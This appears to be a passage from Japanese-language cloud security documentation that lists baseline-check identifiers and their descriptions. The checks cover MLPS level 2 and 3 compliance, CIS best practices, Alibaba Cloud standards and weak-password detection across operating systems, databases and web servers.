MLPS レベル 3：MongoDB コンプライアンスベースラインチェック

hc_mssql_djbh

MLPS レベル 3：SQL Server コンプライアンスベースラインチェック

hc_mysql_djbh

MLPS レベル 3：MySQL コンプライアンスベースラインチェック

hc_nginx_djbh

MLPS レベル 3：Nginx コンプライアンスベースラインチェック

hc_oracle_djbh

MLPS レベル 3：Oracle コンプライアンスベースラインチェック

hc_pgsql_djbh

MLPS レベル 3：PostgreSQL コンプライアンスベースラインチェック

hc_redhat 6_djbh_l3

MLPS レベル 3：Red Hat Linux 6 コンプライアンスベースラインチェック

hc_redhat_djbh_l3

MLPS レベル 3：Red Hat Linux 7 コンプライアンスベースラインチェック

hc_redis_djbh

MLPS レベル 3：Redis コンプライアンスベースラインチェック

hc_suse 10_djbh_l3

MLPS レベル 3：SUSE 10 コンプライアンスベースラインチェック

hc_suse 12_djbh_l3

MLPS レベル 3：SUSE 12 コンプライアンスベースラインチェック

hc_suse_djbh_l3

MLPS レベル 3：SUSE 11 コンプライアンスベースラインチェック

hc_ubuntu 14_djbh_l3

MLPS レベル 3：Ubuntu 14 コンプライアンスベースラインチェック

hc_ubuntu_djbh_l3

MLPS レベル 3：Ubuntu 16/18/20 コンプライアンスベースラインチェック

hc_was_djbh

MLPS レベル 3：WebSphere Application Server コンプライアンスベースラインチェック

hc_weblogic_djbh

MLPS レベル 3：WebLogic コンプライアンスベースラインチェック

hc_win 2008_djbh_l3

MLPS レベル 3：Windows 2008 R2 コンプライアンスベースラインチェック

hc_win 2012_djbh_l3

MLPS レベル 3：Windows 2012 R2 コンプライアンスベースラインチェック

hc_win 2016_djbh_l3

MLPS レベル 3：Windows 2016/2019 コンプライアンスベースラインチェック

hc_aliyun_linux_djbh_l2

MLPS レベル 2：Alibaba Cloud Linux/Aliyun Linux 2 コンプライアンスベースラインチェック

hc_centos 6_djbh_l2

MLPS レベル 2：CentOS Linux 6 コンプライアンスベースラインチェック

hc_centos 7_djbh_l2

MLPS レベル 2：CentOS Linux 7 コンプライアンスベースラインチェック

hc_debian_djbh_l2

MLPS レベル 2：Debian Linux 8 コンプライアンスベースラインチェック

hc_redhat 7_djbh_l2

MLPS レベル 2：Red Hat Linux 7 コンプライアンスベースラインチェック

hc_ubuntu_djbh_l2

MLPS レベル 2：Ubuntu 16/18 コンプライアンスベースラインチェック

hc_win 2008_djbh_l2

MLPS レベル 2：Windows 2008 R2 コンプライアンスベースラインチェック

hc_win 2012_djbh_l2

MLPS レベル 2：Windows 2012 R2 コンプライアンスベースラインチェック

hc_win 2016_djbh_l2

MLPS レベル 2：Windows 2016/2019 コンプライアンスベースラインチェック

hc_aliyun_linux_cis

国際的なセキュリティベストプラクティス：Alibaba Cloud Linux/Aliyun Linux 2 セキュリティベースラインチェック

hc_centos 6_cis_rules

国際的なセキュリティベストプラクティス：CentOS Linux 6 セキュリティベースラインチェック

hc_centos 7_cis_rules

国際的なセキュリティベストプラクティス：CentOS Linux 7 セキュリティベースラインチェック

hc_centos 8_cis_rules

国際的なセキュリティベストプラクティス：CentOS Linux 8 セキュリティベースラインチェック

hc_debian 8_cis_rules

国際的なセキュリティベストプラクティス：Debian Linux 8 セキュリティベースラインチェック

hc_ubuntu 14_cis_rules

国際的なセキュリティベストプラクティス：Ubuntu 14 セキュリティベースラインチェック

hc_ubuntu 16_cis_rules

国際的なセキュリティベストプラクティス：Ubuntu 16/18/20 セキュリティベースラインチェック

hc_win 2008_cis_rules

国際的なセキュリティベストプラクティス：Windows Server 2008 R2 セキュリティベースラインチェック

hc_win 2012_cis_rules

国際的なセキュリティベストプラクティス：Windows Server 2012 R2 セキュリティベースラインチェック

hc_win 2016_cis_rules

国際的なセキュリティベストプラクティス：Windows Server 2016/2019 セキュリティベースラインチェック

hc_kylin_djbh_l3

MLPS レベル 3：Kylin コンプライアンスベースラインチェック

hc_uos_djbh_l3

MLPS レベル 3：UOS コンプライアンスベースラインチェック

hc_best_security

hc_aliyun_linux

Alibaba Cloud 標準：Alibaba Cloud Linux/Aliyun Linux 2 セキュリティベースラインチェック

hc_centos 6

Alibaba Cloud 標準：CentOS Linux 6 セキュリティベースラインチェック

hc_centos 7

Alibaba Cloud 標準：CentOS Linux 7/8 セキュリティベースラインチェック

hc_debian

Alibaba Cloud 標準：Debian Linux 8/9/10 セキュリティベースラインチェック

hc_redhat 6

Alibaba Cloud 標準：Red Hat Linux 6 セキュリティベースラインチェック

hc_redhat 7

Alibaba Cloud 標準：Red Hat Linux 7/8 セキュリティベースラインチェック

hc_ubuntu

Alibaba Cloud 標準：Ubuntu セキュリティベースラインチェック

hc_windows_2008

Alibaba Cloud 標準：Windows 2008 R2 セキュリティベースラインチェック

hc_windows_2012

Alibaba Cloud 標準：Windows 2012 R2 セキュリティベースラインチェック

hc_windows_2016

Alibaba Cloud 標準：Windows 2016/2019 セキュリティベースラインチェック

hc_db_mssql

Alibaba Cloud 標準：SQL Server セキュリティベースラインチェック

hc_memcached_ali

Alibaba Cloud 標準：Memcached セキュリティベースラインチェック

hc_mongodb

Alibaba Cloud 標準：MongoDB 3.x セキュリティベースラインチェック

hc_mysql_ali

Alibaba Cloud 標準：MySQL セキュリティベースラインチェック

hc_oracle

Alibaba Cloud 標準：Oracle 11g セキュリティベースラインチェック

hc_pgsql_ali

Alibaba Cloud 標準：PostgreSQL セキュリティベースラインチェック

hc_redis_ali

Alibaba Cloud 標準：Redis セキュリティベースラインチェック

hc_apache

Alibaba Cloud 標準：Apache セキュリティベースラインチェック

hc_iis_8

Alibaba Cloud 標準：IIS 8 セキュリティベースラインチェック

hc_nginx_linux

Alibaba Cloud 標準：Nginx セキュリティベースラインチェック

hc_suse 15

Alibaba Cloud 標準：SUSE Linux 15 セキュリティベースラインチェック

tomcat 7

Alibaba Cloud 標準：Apache Tomcat セキュリティベースラインチェック

weak_password

hc_mongodb_pwd

弱いパスワード：MongoDB ログイン弱いパスワード検出（バージョン 2.x）

hc_weakpwd_ftp_linux

弱いパスワード：FTP ログイン弱いパスワードチェック

hc_weakpwd_linux_sys

弱いパスワード：Linux システムログイン弱いパスワードチェック

hc_weakpwd_mongodb 3

弱いパスワード：MongoDB ログイン弱いパスワード検出

hc_weakpwd_mssql

弱いパスワード：SQL Server データベースログイン弱いパスワードチェック

hc_weakpwd_mysql_linux

弱いパスワード：MySQL データベースログイン弱いパスワードチェック

hc_weakpwd_mysql_win

弱いパスワード：MySQL データベースログイン弱いパスワードチェック（Windows）

hc_weakpwd_openldap

弱いパスワード：OpenLDAP ログイン弱いパスワードチェック

hc_weakpwd_oracle

弱いパスワード：Oracle ログイン弱いパスワード検出

hc_weakpwd_pgsql

弱いパスワード：PostgreSQL データベースログイン弱いパスワードチェック

hc_weakpwd_pptp

弱いパスワード：pptpd サービスログイン弱いパスワードチェック

hc_weakpwd_redis_linux

弱いパスワード：Redis データベースログイン弱いパスワードチェック

hc_weakpwd_rsync

弱いパスワード：rsync サービスログイン弱いパスワードチェック

hc_weakpwd_svn

弱いパスワード：SVN サービスログイン弱いパスワードチェック

hc_weakpwd_tomcat_linux

弱いパスワード：Apache Tomcat コンソール弱いパスワードチェック

hc_weakpwd_vnc

弱いパスワード：VNC Server 弱いパスワードチェック

hc_weakpwd_weblogic

弱いパスワード：WebLogic 12c ログイン弱いパスワード検出

hc_weakpwd_win_sys

弱いパスワード：Windows システムログイン弱いパスワードチェック